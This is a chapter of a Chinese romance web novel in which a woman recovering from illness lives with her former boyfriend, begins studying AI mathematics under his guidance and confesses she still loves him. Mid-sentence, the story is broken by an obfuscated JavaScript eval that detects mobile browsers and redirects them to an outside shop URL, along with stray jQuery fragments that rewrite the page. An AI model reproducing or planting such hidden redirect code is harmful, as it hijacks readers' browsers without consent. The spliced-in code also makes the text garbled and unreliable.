21. 第 21 章

作品:《偏偏有瘾

    夏子言下班时,在电梯里又遇见了陈焕,她忍不住好奇问道:“梁总回来了么?”


    小陈笑着应道:“昨天就回了,不过这两天一直忙着处理积压的工作,脚不沾地的。”


    夏子言点了点头:“谢谢。”


    “没事没事。”


    “你别告诉梁总我问过哈,千万别说。”


    小陈保证道:“你放心,我肯定不说。”


    回到家,夏子言蹲在阳台,对着一盆多肉怔怔看了半晌。


    已经六点了,张阿姨还没上门,看来今晚不用准备大餐,梁明远应该还是不回来。


    她干脆发了条微信,让张阿姨不必过来。


    这几日的上海,雨淅淅沥沥没停过,眼瞅着快到五一,天气反倒骤然凉了下来


    张阿姨不是个拖沓的人,既然雇主说了不用来,她便干脆利落的应下,没再多说一句。


    晚上她从冰箱里翻出一袋包好的馄饨,打算煮一碗吃。


    她往锅里添了水,等着水烧开的空档,书房里传来“咚”的一声轻响,可能是房间太安静,猝不及防地,吓得她心头一跳。


    她下意识推开门,客厅的光正好照进去,原来是书架上的一本书,不知怎的滑落下来,砸在了地板上。


    夏子言捡起来一看,是《人工智能数学基础》。


    她随手翻了翻,大部分内容能看懂,但确实很费脑子。


    学习本来就是件耗神的事。


    这几天,她也在网上找了些大学高等数学、线性代数的网课,试着重新捡起来。


    可真要系统学完,别说一个月,没有半年的时间,根本没办法把以前学的东西重新捡起来。


    医生说过,她现在还是该以休息为主。


    也许是低着头看得太认真,她没察觉梁明远已经走到了身边。


    “有兴趣学人工智能吗?”


    声音很低沉,却吓了她一跳,本能的出手拍了下他的胸口,嗔怪道:“你走路都没声音的吗?要吓死我了!”


    梁明远伸手轻轻攥了下她的手腕,不过又很快松开。


    “那你怎么不开灯?”


    “忘了,就听见一声闷响赶紧过来了,声音真的好怕怕。”


    他手臂上还搭着外套,转身走到门口按亮了灯。


    刚才进门时,他明明好心喊过她的名字,却没人应。


    厨房的水烧着,不见人影。


    他还吓了一跳,寻找到书房,就看见一个穿着红色针织开衫的人静静站在昏暗的书房里,侧脸在阴影里若隐若现,简直像女鬼一样。


    “你怎么回来了?”


    他低笑一声:“怎么,我的家还不能回啊?”


    “我不是这个意思。”夏子言连忙解释,“张阿姨没提前过来,我还以为你今晚不回来了。”


    他应了声,转身往书房外走,像是要去换衣服,路过厨房时脚步顿住,侧头问她:“你要做什么?”


    夏子言说:“煮馄饨啊,有点饿了,不想点外卖,在冰箱里看到这个。”


    “嗯。”梁明远轻声应了一下,“麻烦,也给我煮一碗。”


    梁明远洗完澡换好衣服时,夏子言已经把馄饨端了出来。


    这种速冻的产品,而且还是张阿姨特意包好储藏的,馅料足、面皮薄,怎么煮都不会难吃。


    没想到他坐下尝了一口,汤的调味几乎盖过了馄饨本身的味道,关键汤味特别怪异。


    夏子言瞧着他的神色,“不会吧,有这么难吃吗?”


    他没直接回答,略带调侃地说:“我都不记得吃过你做的饭,原来是这个味道。”


    “我那时候是学生,回家要么点外卖,要么爸妈做,根本没下过厨。这几年更没动手过了。”


    夏子言自己也尝了一口,觉得其实还可以。


    “我觉得还好啊,是你太挑剔了。”


    梁明远没说话,只是无奈地叹了口气,起身走进厨房。


    牛排切成薄,煎了煎,还有煎了一些金黄流心的荷包蛋。


    很快他端着盘子回来,夹了一些放进她的碗里。


    “你一直过得这么糙吗?以前吃饭不是也很挑剔吗?”


    夏子言反驳:“才没有,我没有挑剔啊,你买来的东西我都吃完的。”


    梁明远没有接着这个话题聊下去,“怎么,最近数学学的如何?有没有想过,往更专业的方向发展发展?未来的职业规划是什么?”


    开口就是这么专业。


    怎么说呢?


    突然有种被当作正常人的错觉。


    是啊,只有在他眼中她是个正常人,他才会拒绝复合,觉得问题都在她,冷言冷语到无所畏惧。


    自然而然的询问她学习情况,督促她尽快融入社会,去寻找一份真正属于自己的职业。


    病好了一年多,最近这一个月是症状最轻的时候,丝毫没有任何疼痛感,感觉自己真的和街上走来走去的行人没什么两样了。


    “我前几天刚翻了几页书,感觉有点难。你有没有什么推荐的?能让我少走点弯路的那种。”


    这种事还是有人指点最好,他是最适合的。


    “有。明天我先让研发部的算法工程师来简单测测你的基础,再给你一些建议。”


    不知怎么,她开始涌入一种奇怪的感觉,这种感觉是梁明远随性的,下意识的,没有刻意的传到她的心中。


    这种感觉,让她觉得真的和过去那个困在病痛里的自己,彻底告别了。


    往后,她好像真的能拥抱一段全新的生活。


    其实,他如果不做男朋友、不做丈夫,也算是个不错的人吧。


    收留她住在这里,每月五千房租不算高,人也大方,讲的道理直接又实用。


    如果真的能跟着学点东西,哪怕将来他还是不愿意和她在一起,哪怕他们终究走不回从前,哪怕......他结婚了--呸呸呸,不想这种可能。


    不过他们真的没有办法相处下去,她是不是也能靠一份体面的技能养活自己?


    终于,有一件能让她全身心投入的事情了。


    再也不用终日自怨自艾、伤感沉沦了。


    第二天,研发部来的人,是一位部门主管。


    毕竟听说这位“关系户”大学毕业后再没碰过书本,级别太高怕她听不懂,太低又显得对老板不够尊重。


    一进会议室,发现对方居然是女生,主管更有些不知从何说起,甚至心里并不太想收这个“学生”。


    简单问了几句,有基础,不过很多东西还是不了解。


    还是面上仔细聊了很多,一个小时后对夏子言有了初步的了解。


    主管没多说什么,去公司图书馆挑了几本书过来。


    内容浅显易懂,又比较系统。


    如果连这些都无法掌握,搞不明白,再大的关系户,也不用想进高阶技术部门了。


    下班后,夏子言抱着那几本书回了住处。


    她翻了几页,又对着网上的教学视频看了一会儿,发现那些看似晦涩的理论,拆解开来,其实也没那么难。


    晚上吃饭时,夏子言好奇地问:“师兄,一般我们研发工资多少啊?”


    她真的是一直关心这个。


    “你缺钱?要多少?”


    “不是,不是,只是好奇。”


    梁明远说:“刚入职、有经验的、还有管理层,都不一样。”


    “那刚入职的呢?”


    “看学校、专业,以及往届毕业生的社会评价。”


    夏子言撇撇嘴,“那肯定清北的最高呗。”


    梁明远夹着菜,淡淡地说:“这不是你早就知道的吗?当初你又不是没做过,那么多简历,你第一轮筛的不就是学历和专业吗?”


    夏子言单手捧着下巴,目光落在他脸上,笑意浅浅的:“师兄,以后我们做朋友好像也不错哦。”


    “你死了这条心。”


    “干嘛?你不愿意么?我好像和你生活在一起习惯了呢。你可真是个好人啊。”


    梁明远没想到会收到一张“好人卡”,“你是在讽刺我吧?”


    “我是认真的。不管别人怎么说,反正在我眼里你就是好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064518|193800||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人。你之前对我态度冷冰冰也情有可原,当年的事本来就是我的问题,现在还能以德报怨,不是好人是什么?”


    “好了!你别肉麻了。”梁明远听不得太过直白的夸奖,哪怕这些话也许是真心的,“你最好觉得我很坏,将来做出什么坏事来不至于没心理准备。”


    夏子言很天真,对他可以说百分百信任。


    三年的相处,难道还不了解吗?


    人是会变的,可骨子里的底色,从来都不会改。


    她满不在乎,语气轻快:“那就是我倒霉啦。”


    吃完饭,夏子言想收拾碗筷去洗,梁明远直接伸手接过,淡声道:“算了吧,你还是待着吧。”


    “没关系的,我可以的,又不是病弱不能动的人。”


    他还是没让她动手。


    这种小事没必要让来让去。


    夏子言擦完桌子,抬起头,正好看见厨房里的男人。他穿着短袖,微微低着头,水流声中碗碟轻碰。


    落地窗的白色纱帘被风轻轻拂起,墙上的时钟滴答走动,这样的场景忽然让人一下子心静起来。


    她鬼使神差地走到厨房门口,轻轻倚着门框看着他,然后走近,站在他身边。


    “怎么办?我还是好喜欢你。”


    梁明远洗碗的手微微一顿。


    这样温软的夜晚,这样朦胧的光线,这样暮色沉沉的七八点钟时分,光影缱绻,可他却什么反应都没有。


    夏子言在他身边站了一会儿,慢慢转身走开了。


    好磨人的感觉,也好微妙的心动。


    刚上大学没多久就与他相遇,他没追几次,她就答应了。


    那时候他们是相爱的,一见钟情,两情相悦。


    完全没有现在这种辗转反侧的感觉。


    她一次次说服自己只把他当师兄、当普通朋友,可是心里的积攒那么多年的爱,随时都会跳出来,然后冲动的说出任何话。


    是啊,她还是好喜欢他,好心动,那些压在心底的悸动与仰慕,从未消失。


    她想,大概一辈子,都不会变了。


    他洗漱完毕,缓步走进书房。


    一室寂静。


    她蜷在沙发上,望着落地窗外地平线发呆;他沉在书桌后,一言不发地翻着书页。


    “夏子言,过来。”


    夏子言放下手机,趿着拖鞋走过去,很有礼貌的站在门口问:“请问有什么事么?”


    “别装了。”梁明远朝门外示意,“搬把椅子过来,我考考你。”


    “......考什么?”


    “先别问,过来。”


    夏子言老实地搬来椅子,在他身旁坐下。


    梁明远翻开了书本,从目录开始问。


    “第一章你都会吧?”


    她点头。


    “第二章呢?”


    她又点头。


    “第三章?第四章?第五章……”他看向她若有所思的表情,直接问:“那你直接说,哪里不太明白?”


    夏子言犹豫了一下:“努力学的话都能懂,只是不太清楚工作具体需要用到哪些部分,感觉和工作很脱离啊。”


    梁明远静默地注视她片刻,将书合拢。


    “你不必琢磨公司现在需要什么,那变化太快。你要弄清楚的,是自己能抓住什么。”


    他从笔筒里抽出一支铅笔,在空白纸页上画了一条平缓上扬的曲线。


    “技术就像这条线,一直往前。你现在要做的不是追着它跑,而是先站到线上去。”


    他用笔尖轻点曲线的起点。


    “从这里开始。把这几章的基础题做完,不是‘看懂’,是每一道都能从头推导出来。”


    夏子言望着那条简单的线,忽然觉得清晰了些。


    布置完任务梁明远倚在靠椅上看着她。


    夏子言低头很认真翻着书,忽而听见他的声音从身后传来——


    “我可以满足你的愿望。”


    夏子言疑惑的看向他:“什么?”


    “你不是说还喜欢我吗?总不能是假的吧?”